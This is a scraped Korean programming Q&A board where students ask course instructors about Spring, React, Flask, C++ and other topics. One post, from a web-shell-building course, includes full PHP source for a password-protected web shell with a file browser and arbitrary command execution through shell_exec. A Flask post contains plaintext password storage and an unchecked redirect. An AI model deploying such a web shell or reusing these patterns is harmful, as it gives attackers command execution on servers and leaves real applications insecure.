176만명의 커뮤니티!! 함께 토론해봐요.
미해결
스프링 배치
안녕하세요. 실무에서 스프링 배치를 사용하고 있는데요. 차근차근 강의를 정주행하려고 구매 했었으나, 일정의 압박으로 필요한 부분만 발췌해서 듣고 있습니다. (그럼에도 많은 도움을 받았습니다. 감사합니다 :) 배치를 사용하며 궁금증이 생긴 부분이 있는데요. 예를 들어 Job A가 Step1, Step2로 구성되어 있고 각 Step의 Reader는 JdbcPagingItemReader를 사용한다고 했을 때, Step2의 특정 Chunk에서 Job이 실패한 뒤 재실행 하면 성공한 Step1 및 Step2의 Chunk들은 건너 뛰고 실패한 지점부터 재시작하게 되는데요. 이 과정이 어떻게 수행되는지 분석, 학습을 해보고 싶습니다. 혹시 해당 강의에 이 내용을 다룬 부분이 있을까요?
backend.dev
2022-04-09T02:16:03.171Z
댓글 1
좋아요 0
조회수 209
미해결
[리뉴얼] React로 NodeBird SNS 만들기
다름이아니라 질문이 있습니다. 제가 그 AWS말고 개인적으로 포트포워딩해서 핸드폰으로 접속하면서 테스트를 해보고있는데 (내부ip로컬서버환경도 동일) 외부접속이 아닌 로컬로 할때도 그렇고 그 프론트에서 백엔드 포트쪽으로 요청을 보낼때 응답이 오기까지의 딜레이가 랜덤인 것 같아요... 다시 프론트 응답로딩까지 오래 걸리는 것같은느낌? 그럴때마다 백엔트 포트 실행시킨 터미널쪽에서 엔터키를 누르면 바로 터미널 로그에 시퀄라이즈 쿼리문이 찍히면서 응답이 오는데 왜 그런건가요? 이유를 알고 싶네요 질문 1. 프론트에서 백엔드로 요청을보낼떄 응답하는 속도가 랜덤인 것 같다(어쩔땐 빠르고 어쩔땐 느린...) 질문2. 그럴때마다 백엔드 터미널에서 엔터키를 치는데 프론트에서 백으로 요청보내고 바로 엔터키를 치면 바로 요청->응답 페이지 로딩 되는데 이부분 관련해서 왜 엔터키를 치면 바로 요청 된 값이 응답이 되는가에 대해 궁금하네요 질문3 아 그리고 제가 외부ip 내부 ip로 로그인 관련 테스트 해본결과 같은 아이디로 로그인 되더라구요 이 부분 관련해서 코딩을 안해줘서 당연하지만 예상을 해보면 여기에서 다루는 전략은 세션에서 아이디 값을 가지고있는게 아니라 프론트에서 쿠키로 가지고 있잖아요? 그럼 쿠키에 같은 값이 왔을때 뭐 어떻게 처리해줘야할 것같은데 AWS 배포 강의 부분을 아직 다 보지 못했는데 거기 설명해주시면서 알려주시나요? 만약 그 내용이 없다면 구글에 키워드를 뭐라고 치면 나올까요?
react nodejs redux express Next.js
ts
2022-04-09T01:47:24.349Z
댓글 1
좋아요 0
조회수 166
미해결
윤재성의 스프링 프레임워크 개발자를 위한 실습을 통한 입문 과정
<bean id="t1" class="kr.co.softcampus.beans.TestBean1" lazy-init="true" init-method="bean1_init" destroy-method="bean1_destroy" scope="prototype" /> 해당내용으로 beans.xml 설정 후 ctx.close( ); 를 호출하면, bean1_destroy메서드는 호출이 안되는것으로 확인되는데 왜그럴까요! 싱글톤일땐 정상호출 되지만, 프로토타입으로하니깐 각각 객체 생성되어, init메서드는 정상호출이되고 destroy메서드만 호출이안되서 질의드립니다.
dyko615
2022-04-09T01:38:37.313Z
댓글 1
좋아요 0
조회수 227
미해결
실전! 스프링 데이터 JPA
안녕하세요 영한님! 간단하게 비관적인 락과 낙관적인 락 예시에 대해 궁금한게 있습니다. 비관적인 락 같은 경우에는 동시에 많은 요청이 들어와서 모두 카운트해서 올려야하는 조회수 같은 곳에 사용한다고 구글링을 해보니 나오는데 낙관적인 락을 사용하는 예시는 찾을 수 없어서 혹시 실무에서 낙관적인 락을 사용하는 사례는 어떤게 있을 까요?
최준성
2022-04-09T01:27:06.507Z
댓글 1
좋아요 0
조회수 539
미해결
10주완성 C++ 코딩테스트 | 알고리즘 코딩테스트
알고리즘 교안에서 오타를 발견했습니다. find(v.begin(), v.end(), 0);으로 나와야 합니다.
RokiePlayer
2022-04-08T23:39:46.499Z
댓글 1
좋아요 0
조회수 340
미해결
[리뉴얼] React로 NodeBird SNS 만들기
안녕하세요 제로초님, useinput과 export default (initialValue = null ) => { const [ value , setValue ] = useState ( initialValue ) const handler = useCallback ((e) => { setValue (e. target . value ); }, [여기]); return [ value , handler ]; } 이번 강의에서 사용하신 useCallback 함수 const onChangeText = useCallback ((e) => { setText (e. target . value ) }, [여기]); 내부에 있는 배열에 useinput에는 value, onChangeText에는 text를 넣지 않아도 되는건가요? 사용자가 입력할 때 마다 어차피 컴포넌트가 리렌더링 되니까 넣어도 안넣어도 똑같기 때문에 굳이 넣지 않는 것인가요?
react express redux nodejs Next.js
yongu200
2022-04-08T23:05:55.752Z
댓글 1
좋아요 0
조회수 208
미해결
따라하면서 배우는 웹애플리케이션 만들기
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하안녕하세요 html 처음배웁니다. 혹시 맥북으로 서버 설치는 어떻게 해야할까요 ? mac으로 따라해야 할까요?기를 이용해주세요.
신영현
2022-04-08T22:29:17.235Z
댓글 0
좋아요 0
조회수 392
미해결
홍정모의 따라하며 배우는 C++
배열과 반복문 강의 듣는겸 따로 봐왔던 코드를 따라 해보는겸 코드를 짜고 잇는데요 제 의도 대로 되지 않아서 중단점을 통해서 배열이 어떻게 채워지는지 보고싶어 중단점을 정하고 디버깅을 하는데 지역 변수 인 부분인 배열이 중단점에서 안보이더라구요 ㅠ 구글링해서 optimization을 Disabled 해도 안되더라구요 배열을 중단점에서 어떻게 확인 할수 있을까요?? 버젼은 Visual Studio Community 2019 - Version 16.11.2 입니다!
힙합맨제이지DV
2022-04-08T19:57:02.472Z
댓글 1
좋아요 0
조회수 223
미해결
자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
안녕하세요 선생님 이렇게 했는데 괜찮나요 function solution(str){ let haha= str.replace(/[a-z]/gi, "").replace(/(^0+)/, ""); return haha ; } let str="g0000en2T0sfdjsifjwep0if32uufklnfwfe8eSoft"; console.log(solution(str));
운영자
2022-04-08T17:47:26.293Z
댓글 1
좋아요 0
조회수 337
미해결
파이썬/장고 웹서비스 개발 완벽 가이드 with 리액트
안녕하세요 일급함수와 관련해서 generate_view_fn 함수를 설명해주셨는데, return 값에서 instance_name은 template에 넘겨주기 위한 변수이름으로 활용되는 건가요? 설명에서는 위에 view_fn함수에 있는 instance_name과 같다고 하셨는데 헷갈려서 질문 남깁니다!! 감사합니다
c880910
2022-04-08T16:50:58.171Z
댓글 1
좋아요 0
조회수 191
미해결
따라하며 배우는 노드, 리액트 시리즈 - 영화 사이트 만들기
현재 제가 가진 노드 버전(v16.14.1)이랑 bcrypt 라이브러리 버전(v3.0.6)이 안맞아서 관련 에러가 발생하고 있습니다 . (에러 메시지에서 요구하는 사항은 bcrypt 버전을 v3.0.8로 변경하라고 하는 것 같습니다.) 강의를 따라가려면 root 의 package.json 안에 engines의 값으로 node, npm 버전이 적혀있는데 저 버전으로 nvm을 이용해서 다운 그레이드 해야하는 건지 아니면 에러 메시지에 맞춰 라이브러리를 업그레이드 해야하는지 궁금합니다.
react mongodb 웹앱 nodejs express
k29176@gmail.com
2022-04-08T16:35:24.604Z
댓글 1
좋아요 0
조회수 848
미해결
스프링 핵심 원리 - 기본편
스프링 부트 : 2.6.5 자바 : 11 현재 상태 : 컴파일러 설정 : 어노테이션 활성화 lombok 설치상태 : build.gradle 상태 : 프로젝트 외부 라이브러리 상태 : 프로젝트 설정 상태 : 오류 내용 : 혼자서 해결해 보려고 구글링을 통한 여러가지 방법을 시도해 보았지만 결국 다 실패하고 질문 올립니다...
김하빈
2022-04-08T16:29:55.254Z
댓글 1
좋아요 0
조회수 712
해결됨
남박사의 파이썬으로 실전 웹사이트 만들기
안녕하세요 웹개발 입문부분 강좌를 거의다 들었는데.. 오류가 나는 부분이 있어서.. 질문을 올립니다! 문제는..join 로그인 하면 몽고db에서 이메일 주소가 null로 표시가 되서.. 동작이 되지 않는점이 있습니다.. 비슷한 증상을 찾기 어려워서 질문 남깁니다! -화면- -join- -mongoDB- -list- -list 로그인 페이지- next_url << 이게 문제가 나왔었는데 다른 코드들 참고 했는데 해결은 됬습니다. -run.py- from flask import Flask from flask import request from flask import render_template from flask_pymongo import PyMongo from bson . objectid import ObjectId from flask import abort from flask import redirect from flask import url_for from flask import flash from flask import session from functools import wraps import math import time from datetime import datetime , timedelta app = Flask ( __name__ ) app.config [ " MONGO_URI " ] = " mongodb://localhost:27017/myweb " app.config [ " SECRET_KEY " ] = " abcd " app.config [ " PERMANENT_SESSION_LIFETIME " ] = timedelta ( minutes = 30 ) mongo = PyMongo ( app ) def login_required ( f ): @ wraps ( f ) def decorated_function ( *args , **kwargs ): if session . get ( " id " ) is None or session . get ( " id " ) == "" : return redirect ( url_for ( " member_login " , next_url = request . url )) return f (* args , ** kwargs ) return decorated_function @ app . template_filter ( ' formatdatetime ' ) def format_datetime ( value ): if value is None : return "" now_timestamp = time . time () offset = datetime . fromtimestamp ( now_timestamp ) - datetime . utcfromtimestamp ( now_timestamp ) value = datetime . fromtimestamp ( ( int ( value ) / 1000 ) ) + offset return value . strftime ( ' %Y-%m-%d %H:%M:%S ' ) @ app . route ( " /list " ) def lists (): # 페이지 값 (값이 없는 경우 기본값는 1) page = request . args . get ( " page " , 1 , type = int ) # 한페이지당 몇개의 게시물을 출력할지 limit = request . args . get ( " limit " , 5 , type = int ) search = request . args . get ( " search " , - 1 , type = int ) keyword = request . args . get ( " keyword " , type = str ) # 최종적으로 완성된 쿼리를 만들 변수 query = {} # 검색어 상태를 추가할 리스트 변수 search_list = [] if search == 0 : search_list . append ({ " title " : { " $regex " : keyword }}) elif search == 1 : search_list . append ({ " contents " : { " $regex " : keyword }}) elif search == 2 : search_list . append ({ " title " : { " $regex " : keyword }}) search_list . append ({ " contents " : { " $regex " : keyword }}) elif search == 3 : search_list . append ({ " name " : { " $regex " : keyword }}) # 검색 대상이 한개라도 존재할 경우 query 변수에 $or 리스트를 쿼리 합니다. if len ( search_list ) > 0 : query = { " $or " : search_list } print (query) board = mongo.db.board datas = board . find ({}) . skip ( ( page - 1 ) * limit ) . limit ( limit ) # 게시물의 총 갯수 tot_count = board . count_documents ({}) # 마지막 페이지의 수를 구한다. last_page_num = math . ceil ( tot_count / limit ) # 페이지 블럭을 5개씩 표기 block_size = 5 # 현재 블럭의 위치 block_num = int ( ( page - 1 ) / block_size ) # 블럭의 시작 위치 block_start = int ( ( block_size * block_num ) + 1 ) # 블럭의 끝 위치 block_last = math . ceil ( block_start + ( block_size - 1 ) ) return render_template ( " list.html " , datas = list ( datas ), limit = limit , page = page , block_start = block_start , block_last = block_last , last_page_num = last_page_num , search = search , keyword = keyword ) @ app . route ( " /view/<idx> " ) @ login_required def board_view ( idx ): # idx = request.args.get("idx") if idx is not None : page = request . args . get ( " page " ) search = request . args . get ( " search " ) keyword = request . args . get ( " keyword " ) board = mongo.db.board # data = board.find_one({"_id": ObjectId(idx)}) data = board . find_one_and_update ({ " _id " : ObjectId ( idx )} , { " $inc " : { " view " : 1 }} , return_document = True ) if data is not None : result = { " id " : data .get ( " _id " ), " name " : data .get ( " name " ), " title " : data .get ( " title " ), " contents " : data .get ( " contents " ), " pubdate " : data .get ( " pubdate " ), " view " : data .get ( " view " ), " writer_id " : data .get ( " writer_id " , "" ) } return render_template ( " view.html " , result = result , page = page , search = search , keyword = keyword ) return abort ( 404 ) @ app . route ( " /write " , methods =[ " GET " , " POST " ]) def board_write (): if session . get ( " id " ) is None : return redirect ( url_for ( " member_login " )) if request.method == " POST " : name = request . form . get ( " name " ) title = request . form . get ( " title " ) contents = request . form . get ( " contents " ) print (name, title, contents) current_utc_time = round ( datetime . utcnow () . timestamp () * 1000 ) board = mongo.db.board post = { " name " : name , " title " : title , " contents " : contents , " pubdate " : current_utc_time , " writer_id " : session . get ( " id " ), " view " : 0 , } x = board . insert_one ( post ) print (x.inserted_id) return redirect ( url_for ( " board_view " , idx = x . inserted_id )) else : return render_template ( " write.html " ) @ app . route ( " /join " , methods =[ " GET " , " POST " ]) def member_join (): if request.method == " POST " : name = request . form . get ( " name " , type = str ) email = request . form . get ( " email " , type = str ) pass1 = request . form . get ( " pass " , type = str ) pass2 = request . form . get ( " pass2 " , type = str ) if name == "" or email == "" or pass1 == "" or pass2 == "" : flash ( " 입력되지 않은 값이 있습니다. " ) return render_template ( " join.html " ) if pass1 != pass2: flash ( " 비밀번호가 일치하지 않습니다. " ) return render_template ( " join.html " ) members = mongo.db.members cnt = members . count_documents ({ " email " : email }) if cnt > 0 : flash ( " 중복된 이메일 주소입니다. " ) return render_template ( " join.html " ) current_utc_time = round ( datetime . utcnow () . timestamp () * 1000 ) post = { " name " : name , " email " : email , " pass " : pass1 , " joindate " : current_utc_time , " logintime " : "" , " logincount " : 0 , } members . insert_one ( post ) return "" else : return render_template ( " join.html " ) @ app . route ( " /login " , methods =[ " GET " , " POST " ]) def member_login (): if request.method == " POST " : email = request . form . get ( " email " ) password = request . form . get ( " pass " ) next_url = request . form . get ( " next_url " ) members = mongo.db.members data = members . find_one ({ " email " : email }) if data is None : flash ( " 회원 정보가 없습니다. " ) return redirect ( url_for ( " member_login " )) else : if data .get ( " pass " ) == password: session [ " email " ] = email session [ " name " ] = data .get ( " name " ) session [ " id " ] = str ( data .get ( " _id " )) session.permanent = True if next_url is not None : return redirect ( next_url ) else : return redirect ( url_for ( " lists " )) return redirect ( url_for ( " lists " )) else : flash ( " 비밀번호가 일치하지 않습니다. " ) return redirect ( url_for ( " member_login " )) return "" else : next_url = request . args . get ( " next_url " , type = str ) if next_url is not None : return render_template ( " login.html " , next_url = next_url ) else : return render_template ( " login.html " ) @ app . route ( " /edit/<idx> " , methods =[ " GET " , " POST " ]) def board_edit ( idx ): if request.method == " GET " : board = mongo.db.board data = board . find_one ({ " _id " : ObjectId ( idx )}) if data in None : flash ( " 해당 게시물이 존재하지 않습니다. " ) return redirect ( url_for ( " lists " )) else : if session . get ( " id " ) == data .get ( " writer_id " ) : return render_template ( " edit.html " , data = data ) else : flash ( " 글 수정 권한이 없습니다. " ) return redirect ( url_for ( " lists " )) else : title = request . form . get ( " title " ) contains = request . form . get ( " contents " ) board = mongo.db.board data = board . find_one ({ " _id " : ObjectId ( idx )}) if session . get ( " id " ) == data .get ( " writer_id " ) : board . update_one ({ " _id " : ObjectId ( idx )} , { " $set " : { " title " : title , " contents " : contains , } }) flash ( " 수정 되었습니다. " ) return redirect ( url_for ( " board_view " , idx = idx )) else : flash ( " 글 수정 권한이 없습니다. " ) return redirect ( url_for ( " lists " )) @ app . route ( " /delete/<idx> " ) def board_delete ( idx ): return "" if __name__ == " __main__ " : app . run ( host = " 0.0.0.0 " , debug = True , port = 9000 ) ------------------------------------------------------------------------------------------------ -join- {% with messages = get_flashed_messages () %} {% if messages %} < script > alert ( ' {{messages[-1]}} ' ) ; </ script > {% endif %} {% endwith %} < table > < form name = " form " action = " /join " method = " POST " > < thead > < caption > 회원가입 </ caption > </ thead > < tbody > < tr > < td > 이름 </ td > < td >< input type = " text " name = " name " ></ td > </ tr > < tr > < td > 이메일 </ td > < td >< input type = " text " nmae = " email " ></ td > </ tr > < tr > < td > 비밀번호 </ td > < td >< input type = " password " name = " pass " ></ td > </ tr > < tr > < td > 비밀번호 확인 </ td > < td >< input type = " password " name = " pass2 " ></ td > </ tr > < tr > < td colspan = " 2 " >< input type = " submit " value = " 가입하기 " ></ td > </ tr > </ tbody > </ form > </ table > ---------------------------------------------------------------------------------------------------------- -login- {% with messages = get_flashed_messages () %} {% if messages %} < script > alert ( " {{messages[-1]}} " ) ; </ script > {% endif %} {% endwith %} < table > < form name = " form " action = " /login " method = " POST " > {% if next_url %} < input type = " hidden " name = " next_url " value = " {{next_url}} " /> {% endif %} < thead > < caption > 회원 로그인 </ caption > </ thead > < tbody > < tr > < td > 이메일 </ td > < td >< input type = " text " name = " email " /></ td > </ tr > < tr > < td > 비밀번호 </ td > < td >< input type = " password " name = " pass " /></ td > </ tr > < tr > < td colspan = " 2 " >< input type = " submit " value = " 로그인 " /></ td > </ tr > </ tbody > </ form > </ table > -------------------------------------------------------------------------------------------------------- - list - {% with messages = get_flashed_messages () %} {% if messages %} < script > alert ( ' {{messages[-1]}} ' ) ; </ script > {% endif %} {% endwith %} < script > function search () { var v_search = document . getElementById ( " search " ) . value ; var v_keyword = document . getElementById ( " keyword " ) . value ; if ( v_search == "" || v_keyword == "" ) { return false ; } else { self . location . href = " {{url_for('lists')}}?search= " + v_search + " &keyword= " + v_keyword ; } } </ script > {% if datas | length > 0 %} < table > < thead > < tr > < td > 번호 </ td > < td > 제목 </ td > < td > 이름 </ td > < td > 날짜 </ td > < td > 조회수 </ td > </ tr > </ thead > < tbody > <!--반복되는 구간--> < tr > {% for data in datas %} < td > {{ loop . index + (( page - 1 ) * limit ) }} </ td > < td > < a href = " {{url_for('board_view', idx=data._id, page=page, search=search, keyword=keyword)}} " > {{ data . title }} </ a > </ td > < td > {{ data . name }} </ td > < td > {{ data . pubdate | formatdatetime }} </ td > < td > {{ data . view }} </ td > </ tr > {% endfor %} <!--반복되는 구간 끝--> </ tbody > </ table > {% if block_start - 1 > 0 %} < a href = " {{url_for('lists', page=block_start - 1, search=search, keyword=keyword)}} " > [이전] </ a > {% endif %} {% for i in range ( block_start , block_last + 1 ) %} {% if i > last_page_num %} {{ i }} {% else %} {% if i == page %} < b > {{ i }} </ b > {% else %} < a href = " {{url_for('lists', page=i, search=search, keyword=keyword)}} " > {{ i }} </ a > {% endif %} {% endif %} {% endfor %} {% if block_last < last_page_num %} < a href = " {{url_for('lists', page=block_last + 1, search=search, keyword=keyword)}} " > [다음] </ a > {% endif %} < select name = " search " id = " search " > < option value = "" {% if search == '' or search == -1 %} selected {% endif %} > 검색대상 </ option > < option value = " 0 " {% if search == 0 %} selected {% endif %} > 제목 </ option > < option value = " 1 " {% if search == 1 %} selected {% endif %} > 내용 </ option > < option value = " 2 " {% if search == 2 %} selected {% endif %} > 제목+내용 </ option > < option value = " 3 " {% if search == 3 %} selected {% endif %} > 작성자 </ option > </ select > < input type = " text " name = " keyword " id = " keyword " {% if keyword ! = "" %} value = " {{keyword}} " {% endif %} /> < input type = " button " value = " 검색 " onclick = " search () " /> {% else %} < h3 > 데이터가 없습니다. </ h3 > {% endif %} < a href = " {{url_for('board_write')}} " > 글작성 </ a > ------------------------------------------------------------------------------------------------------- - edit - < html > < body > < table > < form name = " form " method = " post " action = " /edit/{{data._id}} " > < tr > < td > 작성자 </ td > < td >< input type = " text " name = " name " value = " {{session['name']}} " readonly /></ td > </ tr > < tr > < td > 제목 </ td > < td >< input type = " text " name = " title " /></ td > </ tr > < tr > < td > 내용 </ td > < td >< textarea type = " text " name = " contents " > {{ data . contents }} </ textarea ></ td > </ tr > < tr > < td colspan = " 2 " >< input type = " submit " /></ td > </ tr > </ form > </ table > </ body > </ html >
파이썬 python 남박사 웹사이트 웹개발 사이트만들기 홈페이지
문신호
2022-04-08T15:04:47.255Z
댓글 1
좋아요 2
조회수 305
미해결
쉽게 처음하는 파이썬 고급 크롤링 [Scrapy, Selenium, Headless Chrome]
File "/Users/hwan/Library/CloudStorage/OneDrive-개인/Coding/scrapy/mynaverapi/mynaverapi/spiders/navershopapi.py", line 23, in parse data = json.loads(response.body_as_unicode()) AttributeError: 'TextResponse' object has no attribute 'body_as_unicode' 이와 같은 문구가 나오면서 정상적으로 작동하지 않네요 ... pip install json 을 입력하면 아래와 같은 메세지가 나옵니다. 어떻게 하면 해결할 수 있을까요? ERROR: Could not find a version that satisfies the requirement json (from versions: none) ERROR: No matching distribution found for json
웹-크롤링 selenium bigdata scrapy
kshssi
2022-04-08T14:58:08.503Z
댓글 1
좋아요 0
조회수 2184
미해결
모든 개발자를 위한 HTTP 웹 기본 지식
========================================= [질문 템플릿] 1. 강의 내용과 관련된 질문인가요? (예/아니오) 예 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 예 3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) 예 [질문 내용] 여기에 질문 내용을 남겨주세요. 3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문이 있습니다. 제가 일하고 있는 회사의 경우, 서버와의 데이터 교환을 AJAX 비동기 통신을 통해 하고, callback함수가 동작하는 형태를 많이 사용합니다. 데이터가 post를 통해 입력되면 callback함수를 통해 다시 데이터를 조회하거나 화면을 갱신하는데 이러한 경우에도 말씀하신 중복 요청 문제가 발생할수 있을까요? 이런 경우 어떻게하면 중복 요청 문제를 유발 시켜볼 수 있을까요? 질문이 좀 유치한거 같은데 죄송합니다 ㅎㅎ;
John Burr
2022-04-08T14:55:41.822Z
댓글 1
좋아요 0
조회수 217
해결됨
[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
강사님 안녕하세요 디버깅 관련해서 질문드리고 싶습니다 restserver.js 디버깅 실행 도중에 Hello를 입력하고 등록 버튼을 누르면 저는 restFront.html 에서 form 태그가 나왔다가 restfront.js 로 건너뛰어서 서버에 axios.get( ) 으로 요청을 보내서 restserver.js 로 다시 건너뛰어서 req.method 로 GET 요청 받는 디버깅을 생각하고 있었습니다 그러나 이렇게 소스코드 파일 사이에 건너뛰기가 안되고 restServer.js 에서만 디버깅이 되는 것 같았습니다 혹시 웹페이지에서 버튼을 눌러서 서버에 요청할 때는 restfront.js 소스코드로 갔다가, 요청을 받고 응답할 때는 restserver.js로 건너뛰는 디버깅 방법이 있는지 궁금해서 질문드리고 싶습니다 읽어주셔서 감사합니다
nodejs mongodb mysql Sequelize
Like me black
2022-04-08T14:31:38.859Z
댓글 1
좋아요 0
조회수 166
미해결
이펙티브 자바 완벽 공략 1부
안녕하세요. 이펙티브 자바의 강의를 잘 보고 있습니다. 아이템6의 핵심정리 강의와 완벽공략의 강의 비디오가 같습니다. 의도 한 것인지 혹시 누락된 것인지 문의드립니다.
bigcat0815
2022-04-08T14:21:23.355Z
댓글 1
좋아요 0
조회수 245
해결됨
Skill-Up! 배워서 바로 쓰는 웹쉘 제작
이번엔 그 7월 전꺼 리마스터 처럼 필요한 부분(파일 브라우저, 커맨드, 인증 기능)만 만들려고 해봤는데 갑자기 에러가 나네요. error.log도 봤는데 해결 못하겠어서요. 소스입니다;; <? session_start (); header ( "Content-Type: text/html; charset=UTF-8" ); $mode = $_REQUEST [ "mode" ]; $path = $_REQUEST [ "path" ]; $page = basename ( $_SERVER [ "PHP_SELF" ]); $inputPW = $_POST [ "inputPw" ]; $accessPw = "jorkdhnghks6352" ; ##!access password!## $accessFlag = $_SESSTION [ "accessFlag" ]; if ( $accessFlag == "Y" ); { if ( empty ( $path )){ $tempFileName = basename ( __FILE__ ); $tempPath = realpath ( __FILE__ ); $path = str_replace ( $tempFileName , "" , $tempPath ); $path = str_replace ( " \\ " , "/" , $path ); } else { $path = realpath ( $path ). "/" ; $path = str_replace ( " \\ " , "/" , $path ); } # Dir list retuurn function function getDirList ( $getPath ) { $listArr = array (); $handler = opendir ( $getPath ); while ( $file = readdir ( $handler )) { if ( is_dir ( $getPath . $file ) == "1" ) { $listArr [] = $file ; } } closedir ( $handler ); return $listArr ; } } #File List return function function getFileList ( $getPath ) { $listArr = array (); $handler = opendir ( $getPath ); while ( $file = readdir ( $handler )) { if ( is_dir ( $getPath . $file ) != "1" ) { $listArr [] = $file ; } } closedir ( $handler ); return $listArr ; } if ( $mode == "login" && ( $accessPW == $inputPW )) { $_SESSION [ "accessFlag" ] = "Y" ; echo "<script>location.href= '{ $page }'</script>" ; exit (); } ? > <! DOCTYPE html > < html lang = "ko" > < head > < title > SPACEPIG's Webshell </ title > <!-- 합쳐지고 최소화된 최신 CSS --> < link rel = "stylesheet" href = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" > <!-- 부가적인 테마 --> < link rel = "stylesheet" href = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css" > <!-- 합쳐지고 최소화된 최신 자바스크립트 --> < script src = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js" ></ script > </ head > < body > < div class = "container-fluid" > < div class = "row" > < div class = "col-md-3" ></ div > < div class = "col-md-6" > <? if ( $accessFlag != "Y" ) { ? > < h3 > Login </ h3 > < hr > < form action = " <?= $page ? > ?mode=login" method = "POST" > < div cLass = "input-group" > < span clLass = "input-group-addon" > Password </ span > < input type = "password" class = "form-control" pLacehoLder = "Password Input..." name = "inputPw" > </ div > < br > < p cLass = "text-center" >< button class = "btn btn-default" type = "submit" > Auth </ button ></ a > </ form > <? } else { ? > < h3 > Webshell ver.0.0.1.Beta < small > Created by Spacepig </ small ></ h3 > < hr > < ul class = "nav nav-tabs" > < li role = "presentation" <? if ( empty ( $mode ) || $mode == "fileBrowser" ) echo "class= \" active \" " ; ? > >< a href = " <?= $page ? > ?mode=fileBrowser" > File Browser </ a ></ li > < li role = "presentation" <? if ( $mode == "command" ) echo "class= \" active \" " ; ? > >< a href = " <?= $page ? > ?mode=command" > Command Execution </ a ></ li > < li role = "presentation" <? if ( $mode == "logout" ) echo "class= \" active \" " ; ? > >< a href = " <?= $page ? > ?mode=logout" > Logout </ a ></ li > </ ul > < br > <? if ( empty ( $mode ) || $mode == "fileBrowser" ) { ? > < form action = " <?= $page ? > ?mode=fileBrowser" metho = "GET" > < div class = "input-group" > < span class = "input-group-addon" > Current Path </ span > < input type = "text" class = "form-control" placeholder = "Path Input..." name = "path" value = " <?= $path ? > " > < span class = "input-group-btn" > < button class = "btn btn-default" type = "submit" > Move </ button > </ span > </ div > </ form > < hr > < div class = "table-responsive" > < table class = "table table-bordered table-hover" style = " table-layout: fixed; word-break: break-all; " > < thead > < tr class = "active" > < th style = " width: 50% " class = "text-center" > Name </ th > < th style = " width: 20% " class = "text-center" > Type </ th > < th style = " width: 30% " class = "text-center" > Date </ th > </ tr > </ thead > < tbody > <? $dirList = getDirList ( $path ); for ( $i = 0 ; $i < count ( $dirList ); $i ++) { if ( $dirList [ $i ] != "." ) { $dirDate = date ( "Y-m-d H:i" , filemtime ( $path . $dirList [ $i ])); ? > < tr > < td style = " vertical-align : middle " class = "text-primary" >< b >< span class = "glyphicon glyphicon-folder-open" aria-hidden = "true" ></ span > < a href = " <?= $page ? > ?mode=fileBrowser&path= <?= $path ? ><?= $dirList [ $i ] ? > " > <?= $dirList [ $i ] ? > </ a ></ td > < td style = " vertical-align : middle " class = "text-center" >< kbd > Directory </ kbd ></ td > < td style = " vertical-align : middle " class = "text-center" > <?= $dirDate ? > </ td > < td style = " vertical-align : middle " class = "text-center" > <? if ( $dirList [ $i ] != ".." ) { ? > < div class = "btn-group btn-group-sm" role = "group" aria-label = "..." > </ div > <? } ? > </ td > </ tr > <? } ? > <? } ? > <? $fileList = getFileList ( $path ); for ( $i = 0 ; $i < count ( $fileList ); $i ++) { $fileDate = date ( "Y-m-d H:i" , filemtime ( $path . $fileList [ $i ])); ? > < tr > < td style = " vertical-align : middle " >< span class = "glyphicon glyphicon-file" aria-hidden = "true" ></ span > <?= $fileList [ $i ] ? > </ td > < td style = " vertical-align : middle " class = "text-center" >< kbd > File </ kbd ></ td > < td style = " vertical-align : middle " class = "text-center" > <?= $fileDate ? > </ td > < td style = " vertical-align : middle " class = "text-center" > < div class = "btn-group btn-group-sm" role = "group" aria-label = "..." > </ div > </ td > </ tr > <? } ? > </ tbody > </ table > </ div > <? } else if ( empty ( $mode ) || $mode == "command" ) { ? > < form action = " <?= $page ? > ?mode=command" method = "POST" > < div class = "input-group" > < span cLass = "input-group-addon" > Command </ span > < input type = "text" cLass = "-form-control" pLacehoLder = "Command Input..." name = "command" value = " <?= $command ? > " > < span cLass = "input-group-btn" > </ span > </ div > < br > < div class = "btn-group btn-center" role = "group" aria-label = "..." > < p class = "text-center" >< button cLass = "btn btn-default" type = "submit" > Execution </ button ></ a > </ div > </ form > <? if (! empty ( $_POST [ "command" ])) { echo "<hr>" ; $result = shell_exec ( $_POST [ "command" ]); $result = str_replace ( " \n " , "<br>" , $result ); $result = iconv ( "CP949" , "UTF-8" , $result ); echo "𝙍𝙀𝙎𝙐𝙇𝙏" , "<br>" , $result ; } ? > <? } ? > <? } ? > < hr > < p class = "text-muted text-center" > Copyright© 2022, Spacepig, All rights reserved. </ p > </ div > < div class = "col-md-3" ></ div > </ div > </ div > </ body > </ html >
우주대지
2022-04-08T14:04:37.900Z
댓글 3
좋아요 2
조회수 465
미해결
Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
Lost connection to device 오류가 나옵니다. 1번 버튼을 누르고 디버깅 상태에서 2번이 타며, 그리고 나서 연결 기기 끊김이라는 메세지가 나오면서 팅기는 현상이 나타납니다. 원인을 도저히 찾을수가 없네요. 현재 flutter 버전은 2.10.2 최신버전이며, image_picker 버전은 0.8.5 최신버전으로 적용상태 입니다. image_picker : ^0.8.5
날아라뚱뚱
2022-04-08T14:01:04.351Z
댓글 1
좋아요 0
조회수 1818
미해결
웹게임을 만들며 배우는 인터렉티브웹! JAVASCRIPT
몬스터든 npc든 생성 위치를 조금만 크게 잡아도 히어로가 이동하다 말고 사라집니다.(생성 위치를 600정도로 작게 잡으면 문제가 없습니다.) 수업을 들으며 똑같이 코딩했는데도 불구하고 이러한 현상이 나타나서 올려주신 complete 코드의 마지막 완성 코드를 실행해 봤는데도 마찬가지입니다. 아래 GIF 파일은 제공해주신 코드를 실행한 모습입니다.. 며칠째 이런 문제가 해결되지 않아 어떻게 해야될지 몰라 질문드립니다.
HTML/CSS javascript 인터랙티브-웹
5596molly
